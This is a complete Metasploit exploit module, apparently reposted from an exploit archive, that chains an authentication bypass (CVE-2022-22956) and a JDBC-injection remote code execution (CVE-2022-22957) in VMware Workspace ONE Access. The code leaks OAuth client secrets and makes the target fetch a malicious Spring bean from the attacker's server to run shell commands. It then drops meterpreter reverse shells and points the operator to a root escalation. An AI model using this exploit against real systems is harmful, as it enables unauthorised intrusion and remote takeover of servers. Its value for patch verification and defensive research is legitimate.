Share
## https://sploitus.com/exploit?id=PACKETSTORM:171918
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
class InvalidRequest < StandardError  
end  
  
class InvalidResponse < StandardError  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware Workspace ONE Access VMSA-2022-0011 exploit chain',  
'Description' => %q{  
This module combines two vulnerabilities in order achieve remote code execution in the context of the  
`horizon` user. The first vulnerability CVE-2022-22956 is an authentication bypass in  
OAuth2TokenResourceController ACS which allows a remote, unauthenticated attacker to bypass the  
authentication mechanism and execute any operation. The second vulnerability CVE-2022-22957 is a JDBC  
injection RCE specifically in the DBConnectionCheckController class's dbCheck method which allows an attacker  
to deserialize arbitrary Java objects which can allow remote code execution.  
},  
'Author' => [  
'mr_me', # Discovery & PoC  
'jheysel-r7' # Metasploit Module  
],  
'References' => [  
['CVE', '2022-22956'],  
['CVE', '2022-22957'],  
['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],  
['URL', 'https://github.com/sourceincite/hekate/'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']  
],  
'DisclosureDate' => '2022-04-06',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => %i[curl wget],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Payload' => {  
'BadChars' => "\x22"  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'LPORT' => 5555  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
# The VMware products affected do no expose any version information to unauthenticated users.  
# Attempt to exploit the auth bypass to determine if the target is vulnerable. Both the auth bypass and RCE were  
# patched in the following VMware update: https://kb.vmware.com/s/article/88099  
def check  
@token = get_authentication_token  
Exploit::CheckCode::Vulnerable('Successfully by-passed authentication by exploiting CVE-2022-22956')  
rescue InvalidRequest, InvalidResponse => e  
return Exploit::CheckCode::Safe("There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
end  
  
# Exploit OAuth2TokenResourceController ACS Authentication Bypass (CVE-2022-22956).  
#  
# Return the authentication token  
def get_authentication_token  
oauth_client = ['Service__OAuth2Client', 'acs'].sample  
res_activation_token = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'generateActivationToken', oauth_client),  
'method' => 'POST'  
})  
  
unless res_activation_token  
raise InvalidRequest, 'No response from the server when requesting an activation token'  
end  
  
unless res_activation_token.code == 200 && res_activation_token.headers['content-type'] == 'application/json;charset=UTF-8'  
raise InvalidResponse, "Unexpected response code:#{res_activation_token.code}, when requesting an activation token"  
end  
  
activation_token = res_activation_token.get_json_document['activationToken']  
  
res_client_info = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'oauth2', 'activate'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'data' => activation_token  
})  
  
unless res_client_info  
raise InvalidRequest, 'No response from client when sending the activation token and expecting client info in return'  
end  
  
unless res_client_info.code == 200 && res_client_info.headers['content-type'] == 'application/json;charset=UTF-8'  
raise InvalidResponse, "Unexpected response code:#{res_client_info.code}, when sending the activation token and expecting client info in return"  
end  
  
json_client_info = res_client_info.get_json_document  
client_id = json_client_info['client_id']  
client_secret = json_client_info['client_secret']  
  
print_good("Leaked client_id: #{client_id}")  
print_good("Leaked client_secret: #{client_secret}")  
post_data = "grant_type=client_credentials&client_id=#{client_id}&client_secret=#{client_secret}"  
  
res_access_token = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'auth', 'oauthtoken'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'data' => post_data  
})  
  
unless res_access_token  
raise InvalidRequest, 'No response from the server when requesting the access token'  
end  
  
unless res_access_token.code == 200 && res_access_token.headers['content-type'] == 'application/json;charset=UTF-8' && res_access_token.get_json_document['access_token']  
raise InvalidResponse, 'Invalid response from the server when requesting the access token'  
end  
  
res_access_token.get_json_document['access_token']  
end  
  
# Serve the files for the target machine to download.  
# If the request to the server ends in .xml the victim is requesting the spring bean generated by payload_xml method.  
# If the request doesn't in .xml the victim is requesting the linux dropper payload.  
def on_request_uri(cli, request)  
vprint_status("on_request_uri - Request '#{request.method} #{request.uri}'")  
if request.to_s.include?('.xml')  
vprint_status('Sending XML response: ')  
send_response(cli, @payload_xml, { 'Content-Type' => 'application/octet-strem' })  
vprint_status('Response sent')  
else  
vprint_status('Sending PAYLOAD: ')  
send_response(cli, generate_payload_exe(code: payload.encoded), { 'Content-Type' => 'application/octet-strem' })  
end  
end  
  
# Generates the malicious spring bean that will be hosted by the metasploit http server and downloaded and run by the victim  
#  
# Returns an XML document containing the payload.  
def generate_payload_xml(cmd)  
bean = ''  
builder = ::Builder::XmlMarkup.new(target: bean, indent: 2)  
builder.beans(xmlns: 'http://www.springframework.org/schema/beans', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd') do  
builder.bean(id: 'pb', class: 'java.lang.ProcessBuilder', 'init-method': 'start') do  
builder.constructor do  
builder.list do  
builder.value('/bin/sh')  
builder.value('-c')  
builder.value(cmd)  
end  
end  
end  
end  
  
bean.gsub!('constructor', 'constructor-arg')  
vprint_status(bean)  
bean  
end  
  
# Calls the vulnerable dbCheck method in order to download and run the payload the module is hosting.  
def trigger_jdbc_rce(jwt, sub_cmd)  
# jdbc_uri = "jdbc:postgresql://localhost:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{filename}"  
jdbc_uri = "jdbcUrl=jdbc%3Apostgresql%3A%2F%2Flocalhost%3A1337%2Fsaas%3FsocketFactory%3Dorg.springframework.context.support.FileSystemXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F#{datastore['LHOST']}%3A#{datastore['SRVPORT']}%2F#{@payload_name}&dbUsername=&dbPassword"  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'SAAS', 'API', '1.0', 'REST', 'system', 'dbCheck'),  
'method' => 'POST',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'Connection' => 'keep-alive',  
'cookie' => "HZN=#{jwt}",  
'data' => jdbc_uri  
})  
  
fail_with(Failure::Unreachable, "No response from the request to trigger the following sub command: #{sub_cmd}") unless res  
fail_with(Failure::UnexpectedReply, "Unexpected response from the request to trigger the following sub command: #{sub_cmd}") unless res.code == 406 && res.body == '{"success":false,"status":406,"message":"database.connection.notSuccess","code":406}'  
end  
  
def execute_command(cmd, opts = {})  
vprint_status("Executing the following command: #{cmd}")  
@payload_xml = generate_payload_xml(cmd)  
trigger_jdbc_rce(opts[:jwt], cmd)  
end  
  
# Instruct the user to exploit CVE-2022-22960  
def on_new_session(_client)  
print_good('Now background this session with "bg" and then run "resource run_cve-2022-22960_lpe.rc" to get a root shell')  
end  
  
def exploit  
unless @token  
begin  
@token = get_authentication_token  
rescue InvalidRequest => e  
fail_with(Failure::Unreachable, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
rescue InvalidResponse => e  
fail_with(Failure::UnexpectedReply, "There was an error exploiting the authentication by-pass vulnerability (CVE-2022-22956): #{e.class}, #{e}")  
end  
end  
  
@payload_name = Rex::Text.rand_text_alpha(4..12) + '.xml'  
start_service('Path' => "/#{@payload_name}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded, { jwt: @token })  
when :linux_dropper  
execute_cmdstager({ jwt: @token })  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
end